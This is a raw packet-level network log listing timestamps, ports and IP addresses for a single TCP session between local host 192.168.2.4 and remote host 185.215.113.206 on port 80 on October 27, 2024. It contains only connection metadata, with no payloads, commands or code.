Oct 27, 2024 12:13:15.210166931 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.250600100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.250670910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.250693083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.250710011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.250729084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.250746012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.250782013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.250818014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.250885010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.251465082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.251534939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.251559973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.251590014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.251594067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.251632929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.251667976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.251693010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.251703978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.251733065 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.251740932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.251765966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.251789093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.251797915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.251832962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.251848936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.251868963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.251884937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.251903057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.251916885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.251940012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.251962900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.251979113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.251982927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.252049923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.252403975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.252460957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.252470970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.252522945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.327383995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.327441931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.327471972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.327481985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.327534914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.368091106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.368143082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.368163109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.368191004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.368206024 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.368237019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.368248940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.368285894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.368299007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.368321896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.368338108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.368366003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.368381023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.368417025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.368428946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.368453026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.368463993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.368498087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.368547916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.368582964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.368607044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.368633986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.368725061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.368760109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.368786097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.368794918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.368808031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.368846893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.369026899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.369061947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.369086027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.369096041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.369121075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.369143009 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.369292021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.369347095 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.369453907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.369492054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.369508982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.369539022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.369579077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.369613886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.369617939 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.369663954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.415230036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.415282965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.415297985 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.415339947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.415352106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.415397882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.444726944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.444781065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.444804907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.444822073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.444845915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.444868088 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.485122919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.485174894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.485193968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.485234976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.485235929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.485272884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.485297918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.485316038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.485317945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.485362053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.485429049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.485465050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.485486031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.485500097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.485526085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.485547066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.485627890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.485662937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.485688925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.485698938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.485723972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.485744953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.485951900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.485986948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.486008883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.486022949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.486040115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.486057997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.486066103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.486093044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.486112118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.486136913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.486274958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.486329079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.486402988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.486438036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.486454964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.486490011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.486655951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.486691952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.486713886 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.486726999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.486741066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.486763954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.486771107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.486809969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.486897945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.486952066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.532640934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.532691956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.532715082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.532902002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.561860085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.561914921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.561954021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.562079906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.562079906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.562079906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.602745056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.602799892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.602845907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.602859020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.602884054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.602895975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.602919102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.602933884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.602945089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.602969885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.602984905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.603008032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.603045940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.603156090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.603173971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.603210926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.603307009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.603372097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.603430986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.603499889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.603537083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.603553057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.603573084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.603595018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.603621006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.603926897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.603965998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.603993893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.604001045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.604018927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.604038000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.604053020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.604074955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.604089022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.604126930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.604218006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.604275942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.604773998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.604826927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.604845047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.604866028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.604877949 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.604904890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.604911089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.604959965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.649719954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.649774075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.649818897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.649938107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.679131031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.679204941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.679234982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.679243088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.679275990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.679303885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.719954967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.720036983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.720092058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.720127106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.720155954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.720163107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.720165014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.720200062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.720205069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.720237970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.720251083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.720269918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.720273972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.720304012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.720309019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.720331907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.720340014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.720381021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.720402956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.720418930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.720438957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.720465899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.720494032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.720474005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.720539093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.720554113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.720591068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.720592976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.720632076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.720642090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.720666885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.720679998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.720702887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.720731974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.720741034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.720762968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.720792055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.720873117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.720932007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.720977068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.721012115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.721029997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.721062899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.721159935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.721194029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.721220970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.721230030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.721246004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.721280098 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.721535921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.721597910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.721627951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.721661091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.721688986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.721704960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.767047882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.767100096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.767139912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.767273903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.767425060 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.796246052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.796271086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.796288967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.796361923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.796400070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.836942911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.837136984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.837169886 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.837176085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.837255001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.837290049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.837326050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.837358952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.837399006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.837433100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.837486982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.837495089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.837495089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.837495089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.837541103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.837799072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.837837934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.837868929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.837874889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.837897062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.837929010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.837953091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.837966919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.837979078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.838016033 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.838255882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.838291883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.838320017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.838346004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.838350058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.838383913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.838397026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.838423014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.838434935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.838457108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.838471889 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.838491917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.838505983 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.838542938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.838602066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.838658094 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.838759899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.838795900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.838819027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.838843107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.838939905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.838973999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.838999987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.839009047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.839020014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.839056969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.884277105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.884390116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.884423018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.884435892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.884450912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.884500980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.913719893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.913769960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.913808107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.913810968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.913976908 CET	49730	80	192.168.2.4	185.215.113.206
